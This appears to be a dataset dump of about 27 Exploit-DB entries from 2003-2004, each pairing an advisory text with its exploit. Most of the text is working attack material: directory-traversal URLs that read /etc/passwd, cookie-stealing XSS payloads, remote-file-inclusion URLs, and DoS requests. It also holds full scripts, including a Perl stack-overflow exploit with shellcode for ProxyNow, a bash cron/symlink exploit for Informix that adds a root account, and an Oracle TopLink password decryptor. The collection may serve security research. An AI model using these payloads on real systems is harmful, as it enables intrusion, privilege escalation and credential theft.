QLWD/code_shield huggingface dataset:
标题: Crob FTP Server 3.5.1 - Denial of Service EDB-ID: 23633 CVE: 2003-1207 类型: DOS 平台: WINDOWS 发布日期: 2004-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9549/info

A vulnerability has been reported in the Crob FTP server, which occurs due to a lack of validation of input from the user. By issuing a malformed request a malevolent user may be able to force the server to crash, denying service to legitimate users. 

dir
......................................................................................................................................................................................................................................................./* URL: https://www.exploit-db.com/exploits/23633
标题: phpMyAdmin 2.x - 'Export.php' File Disclosure EDB-ID: 23640 CVE: 2004-0129 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9564/info

phpMyAdmin is prone to a vulnerability that may permit remote attackers to gain access to files that are readable by the hosting web server. The issue is reported to exist in the 'export.php' script and may be exploited by providing directory traversal sequences as an argument for a specific URI parameter. 

http://www.example.com/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/23640
标题: JBrowser 1.0/2.x - 'browser.php' Directory Traversal EDB-ID: 23618 CVE: 2004-2750 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9535/info

JBrowser has been reported to be vulnerable to directory traversal vulnerability that may allow a remote attacker to gain access to files readable by the web-server that reside outside of the server root directory. This issue is caused by insufficient sanitization of user specified directory paramemters issued to the 'browser.php' script.

http://www.example.org/browser.php?directory=[ATTACKER_SPECIFIED_PATH] URL: https://www.exploit-db.com/exploits/23618
标题: Leif M. Wright Web Blog 1.1 - File Disclosure EDB-ID: 23613 CVE: 2004-2127 类型: WEBAPPS 平台: CGI 发布日期: 2004-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9517/info

Web Blog is prone to a file disclosure vulnerability. Remote attackers may gain access to files on the system hosting the server that reside outside of the server root by submitting a malicious request that contains directory traversal sequences. This would permit the attacker to access files that are readable by the server and could disclose sensitive information. 

http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=/../../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23613
标题: Laurent Adda Les Commentaires 2.0 - PHP Script 'admin.php' Remote File Inclusion EDB-ID: 23621 CVE: 2004-0246 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9536/info
  
It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.
  
All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/admin.php?rep=http://www.example.com/ URL: https://www.exploit-db.com/exploits/23621
标题: BRS Webweaver 1.0.7 - 'ISAPISkeleton.dll' Cross-Site Scripting EDB-ID: 23612 CVE: 2004-2128 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/9516/info

BRS WebWeaver has been reported prone to a cross-site scripting vulnerability. An attacker may create a malicious link to the vulnerable server that includes embedded HTML and script code. If this link is followed by a victim user, hostile code embedded in the link may be rendered in the user's browser in the context of the server.

Successful exploitation could permit theft of cookie-based authentication credentials or other attacks.

This issue was reported in BRS WebWeaver 1.07. Earlier versions may also be affected. 

http://www.example.com/scripts/ISAPISkeleton.dll?<script>alert("Ooops!")</script> URL: https://www.exploit-db.com/exploits/23612
标题: PJ CGI Neo Review - Directory Traversal EDB-ID: 23615 CVE: 2004-2132 类型: WEBAPPS 平台: CGI 发布日期: 2004-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9524/info

It has been reported that PJ CGI Neo Review may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory by using '../' character sequences.

http://www.example.com/directory/PJreview_Neo.cgi?p=/../../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23615
标题: OracleAS TopLink Mapping Workbench - Weak Encryption Algorithm EDB-ID: 23611 CVE: 2004-2134 类型: LOCAL 平台: MULTIPLE 发布日期: 2004-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/9515/info

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
 print " Usage: $0 <password to decrypt>\n";
 }

if ($#ARGV != 0) {
 usage();
 }

else {  
 $encrypted = $ARGV[0];
 $encrypted =~ s/$string/ /;
 $chars = length($encrypted);
 $enc2 = substr($encrypted,0,2); 
 $encrypted = substr($encrypted,2,length($encrypted));
 $i = 0;
 while (($chars / 2) >= $i + 1) {
  print $i;
  $int = hex($enc2);
  if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
  else {  $result .= chr($int - 4 + $i); }  
  $enc2 = substr($encrypted,0,length($encrypted) - 1);
         $encrypted = substr($encrypted,2,length($encrypted));
  $i++; 
  }
 print "$result\n"; 
 } URL: https://www.exploit-db.com/exploits/23611
标题: PHPGedView 2.x - '[GED_File]_conf.php' Remote File Inclusion EDB-ID: 23617 CVE: 2004-0128 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9531/info

It has been reported that PhpGedView may be prone to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The problem reportedly exists because remote users may influence the 'PGV_BASE_DIRECTORY' variable in the [GED_File]_conf.php module, which specifies an include path.

PhpGedView versions 2.65.1 and prior have been reported to be prone to this issue.

http://www.example.com/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BASE_DIRECTORY=http://attacker&THEME_DIR=/ URL: https://www.exploit-db.com/exploits/23617
标题: Loom Software SurfNow 1.x/2.x - GET Remote Denial of Service EDB-ID: 23614 CVE: 2004-2129 类型: DOS 平台: WINDOWS 发布日期: 2004-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/9519/info

A problem has been identified in the handling of specific types of requests by SurfNOW. Upon receiving specially crafted HTTP GET requests, it is possible for a remote attacker to crash a vulnerable implementation, denying service to the user. 

GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n URL: https://www.exploit-db.com/exploits/23614
标题: InternetNow ProxyNow 2.6/2.75 - Multiple Stack / Heap Overflow Vulnerabilities EDB-ID: 23608 CVE: 2004-2114 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9500/info

ProxyNow has been reported to be prone to multiple overflow vulnerabilities that may allow an attacker to execute arbitrary code in order to gain unauthorized access to a vulnerable system. The vulnerabilities present themselves when an attacker sends a HTTP GET request containing an excessively long URI to the server on TCP port 3128. The URI must be prefixed with the string 'ftp://'.

ProxyNow versions 2.75 and prior have been reported to be prone to these issues. 

#########################################################################
#!/usr/bin/perl -w
#
# Remote Stack Overflow in ProxyNow! 2.x PoC Exploit
#
# Tested on Windows XP Home SP1
#
# Ever seen notepad.exe with SYSTEM privileges? :-/
#
#  - by Peter Winter-Smith [peter4020@hotmail.com]

use IO::Socket;

if(!($ARGV[1]))
{
print "Usage: proxynow.pl <victim> <port>\n" .
       "\tDefault port is 3128\n\n";
exit;
}

print "Remote Stack Overflow in ProxyNow! PoC - Executes notepad.exe\n" .
      "Notepad.exe will only be visible from the Task Manager!\n\n";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Unable to connect to $ARGV[0] on" .
                                   "port $ARGV[1]";

$nops      =            "\x90\x90\x90\x90";

$subcode   =            "\x89\xE0\x05\x03\xFF\xFF\xFF\xFF" .
                        "\xE0";

$shellcode =            "\x31\xC9\x51\x68\x65\x70\x61\x64" .
                        "\x68\xFF\x6E\x6F\x74\x8D\x44\x24" .
                        "\x01\x50\xB8\x44\x80\xC2\x77\xFF" .
                        "\xD0\xCC";

$pad = "XXXXXXXX";

$ebp = "BBBB";
$eip = "\x3B\x58\x01\x10";


$bad    = "GET ftp://www.nosite.com/" . "\x90"x33 . $shellcode . "a"x190 .
          $ebp . $eip . $nops . $subcode . $pad . "\x20HTTP/1.1\r\n\r\n";

print $victim $bad;

print "[+] Data sent: Check for notepad.exe running as SYSTEM!\n";

sleep(2);

close($victim);

print "[+] Done!\n";
exit;
######################################################################### URL: https://www.exploit-db.com/exploits/23608
标题: Laurent Adda Les Commentaires 2.0 - PHP Script 'derniers_commentaires.php' Remote File Inclusion EDB-ID: 23620 CVE: 2004-0246 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9536/info
 
It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.
 
All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/derniers_commentaires.php?rep=http://www.example.com/ URL: https://www.exploit-db.com/exploits/23620
标题: IBM Informix Dynamic Server 9.40/Informix Extended Parallel Server 8.40 - Multiple Vulnerabilities (1) EDB-ID: 23609 CVE: 2004-2131 类型: LOCAL 平台: UNIX 发布日期: 2003-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/9512/info

IBM Informix Dynamic Server and IBM Informix Extended Parallel Server have been reported prone to multiple vulnerabilities.

The first issue exists in the onedcu binary. Specifically, when the binary is invoked a predictable temporary file is created. A local attacker may exploit this issue to launch symbolic link style attacks ultimately resulting in elevated privileges.

The second issue that has been reported to exist in the ontape binary. The ontape binary has been reported to be prone to a local stack based buffer overflow vulnerability. Ultimately the attacker may exploit this condition to influence execution flow of the vulnerable binary into attacker-controlled memory. This may lead to the execution of arbitrary instructions with elevated privileges.

A third issue has been reported to affect the onshowaudit binary. Specifically, the onshowaudit binary reads data from temporary files contained in the "tmp? directory. These files have predictable filenames; an attacker may exploit this issue to disclose data that may be used in further attacks launched against the vulnerable system. 

#!/bin/bash

ONEDCU=/home/informix-9.40/bin/onedcu
CRONFILE=/etc/cron.hourly/pakito
USER=pakito
DIR=./trash

export INFORMIXDIR=/home/informix-9.40/
export ONCONFIG=onconfig.std

        if [ -d $DIR ]; then
                echo Trash directory already created
        else
                mkdir $DIR
        fi

cd $DIR
        if [ -f ./"\001" ]; then
                echo Link Already Created
        else
                ln -s $CRONFILE `echo -e "\001"`
        fi

umask 000
$ONEDCU &
kill -9 `pidof $ONEDCU`


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " "
echo "  This vulnerability was researched by Juan Manuel Pascual Escriba"
echo "  08/08/2003 Barcelona - Spain pask@
3s.com
echo " "
echo "  must wait until cron execute $CRONFILE and then exec su pakito" URL: https://www.exploit-db.com/exploits/23609
标题: Laurent Adda Les Commentaires 2.0 - PHP Script 'fonctions.lib.php' Remote File Inclusion EDB-ID: 23619 CVE: 2004-0246 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9536/info

It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.

All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/config/fonctions.lib.php?rep=http://www.example.com/ URL: https://www.exploit-db.com/exploits/23619
标题: Xoops 2.0.x - 'viewtopic.php' Cross-Site Scripting EDB-ID: 23606 CVE: 2004-2756 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9497/info

It has been reported that Xoops may be prone to a cross-site scripting vulnerability that may allow a remote user to execute HTML or script code in a user's browser. HTML and script code may be parsed via the 'topic_id' and 'forum' URI parameters of 'newbb/viewtopic.php' script.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Xoops versions 2.x have been reported to be prone to this issue. 

http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577&forum=2"><script>alert(document.cookie);</script>
http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577"><script>alert(document.cookie);</script>&forum=2 URL: https://www.exploit-db.com/exploits/23606
标题: Cherokee 0.1.x/0.2.x/0.4.x - Error Page Cross-Site Scripting EDB-ID: 23605 CVE: 2004-2171 类型: REMOTE 平台: SOLARIS 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9496/info

Cherokee has been reported to contain a cross-site scripting vulnerability via error pages.

An attacker can exploit this issue by crafting a URI link containing the malevolent HTML or script code, and enticing a user to follow it. The attacker-supplied code may be rendered in the web browser of a user who follows the malicious link. Exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/23605
标题: TinyServer 1.1 - Cross-Site Scripting EDB-ID: 23596 CVE: 2004-2119 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9485/info
  
TinyServer is prone to multiple vulnerabilities.
  
A directory traversal issue is present in TinyServer that could allow a remote user to view or download any file to which the server has access.
  
A denial of service issue exists due to the failure of the server to check input strings received. Attackers can crash the server by simply sending malformed HTTP GET requests. Sending an HTTP GET request with excessively long data can also cause the server to fail. It is not known if this issue may also result in code execution.
  
A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. 

http://[host]/<script>alert("Test")</script> URL: https://www.exploit-db.com/exploits/23596
标题: TinyServer 1.1 - Denial of Service EDB-ID: 23595 CVE: 2004-2117 类型: DOS 平台: WINDOWS 发布日期: 2004-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9485/info
 
TinyServer is prone to multiple vulnerabilities.
 
A directory traversal issue is present in TinyServer that could allow a remote user to view or download any file to which the server has access.
 
A denial of service issue exists due to the failure of the server to check input strings received. Attackers can crash the server by simply sending malformed HTTP GET requests. Sending an HTTP GET request with excessively long data can also cause the server to fail. It is not known if this issue may also result in code execution.
 
A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. 

GET /index.htm

index.htm

GET /aaaaaa[ 260 of a ]aaa HTTP/1.1 URL: https://www.exploit-db.com/exploits/23595
标题: Herberlin BremsServer 1.2.4 - Cross-Site Scripting EDB-ID: 23600 CVE: 2004-2113 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9491/info

BremsServer has been reported to contain cross-site scripting vulnerabilities. This issue is due to the server failing to check or filter user strings that are sent to the server. An attacker may exploit these issues by creating a link that includes embedded malicious HTML and script code and enticing a user to follow it. 

http://www.example.com/<script>alert("Test")</script> URL: https://www.exploit-db.com/exploits/23600
标题: Oracle HTTP Server 8.1.7/9.0.1/9.2 - isqlplus Cross-Site Scripting EDB-ID: 23593 CVE: 2004-2115 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9484/info

Oracle HTTP Server is reportedly prone to a cross-site scripting issue. This could permit a remote attacker to create a malicious link to the web server that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. 

http://<host>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert('XSS')%3c/script%3e\&password=dsfsd%3cscript%3ealert('XSS')%3c/script%3e

http://<host>/isqlplus?action=<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23593
标题: tinyserver 1.1 - Directory Traversal EDB-ID: 23594 CVE: 2004-2116 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9485/info

TinyServer is prone to multiple vulnerabilities.

A directory traversal issue is present in TinyServer that could allow a remote user to view or download any file to which the server has access.

A denial of service issue exists due to the failure of the server to check input strings received. Attackers can crash the server by simply sending malformed HTTP GET requests. Sending an HTTP GET request with excessively long data can also cause the server to fail. It is not known if this issue may also result in code execution.

A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. 

http://[host]/../../windows/system.ini URL: https://www.exploit-db.com/exploits/23594
标题: borland Web server for corel paradox 1.0 b3 - Directory Traversal EDB-ID: 23597 CVE: 2004-2121 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9486/info

A vulnerability in Borland Web Server for Corel Paradox has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system. 

http://<host>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://<host>/..................../autoexec.bat URL: https://www.exploit-db.com/exploits/23597
标题: Gallery 1.3.x/1.4 - Remote Global Variable Injection EDB-ID: 23599 CVE: 2004-2124 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9490/info

It has been reported that Gallery is prone to a vulnerability that may allow a remote attacker to gain unauthorized access by overwriting various values for global variables. The issue occurs due to improper simulation of the behaviour of register_globals when the register_globals settings is disabled. It has been reported that register_globals functionality is simulated by extracting the values of the various $HTTP_ global variables into the global namespace. Due to improper sanitization of user-supplied data, an attacker may be able to overwrite the value of 'HTTP_POST_VARS' via the register_global simulation. Arbitrary PHP files may be included via the 'GALLERY_BASEDIR' parameter.

The vendor has reported that this issue exists in Gallery versions 1.3.1, 1.3.2, 1.3.3, 1.4 and 1.4.1. 

http://www.example.com/gallery/init.php?HTTP_POST_VARS=xxx URL: https://www.exploit-db.com/exploits/23599
标题: IBM Net.Data 7.0/7.2 - db2www Error Message Cross-Site Scripting EDB-ID: 23598 CVE: 2004-1442 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9488/info

IBM Net.Data is prone to cross-site scripting attacks via error message output. This may permit a remote attack to create a link to a system hosting the software that includes embedded HTML and script code. This hostile code may be rendered in the web browser of a user who follows the malicious link.

Exploitation could permit theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/cgi-bin/db2www/<script>alert(document.domain)</script>/A URL: https://www.exploit-db.com/exploits/23598
标题: herberlin bremsserver 1.2.4/3.0 - Directory Traversal EDB-ID: 23603 CVE: 2004-2112 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9493/info

Herberlin BremsServer is prone to a directory-traversal vulnerability. An attacker may exploit this issue to gain access to files residing outside the web server root directory of the affected system. This issue exists due to a failure to validate user specified URI input.

BremsServer 3.0 is vulnerable; other versions may also be affected.

# --PoC--

import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

s.send('GET /' + '../' * 16 + 'windows/win.ini HTTP/1.1\r\n'
       'Host: localhost\r\n\r\n')

print s.recv(8192) URL: https://www.exploit-db.com/exploits/23603
标题: Reptile Web Server Reptile Web Server 20020105 - Denial of Service EDB-ID: 23590 CVE: 2004-2120 类型: DOS 平台: MULTIPLE 发布日期: 2004-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9482/info

Reptile has been reported prone to a remote denial of service vulnerability. It has been reported that this issue exists because the affected server does not time out on incomplete requests. A remote attacker may exploit this vulnerability to deny service to legitimate users. 

To test the vulnerability simply send to the webserver some (about 10)
strings like:

GET index.htm

without specify the HTTP* at the end of the GET request, and where
the requested file must be avaible in the public_html directory. URL: https://www.exploit-db.com/exploits/23590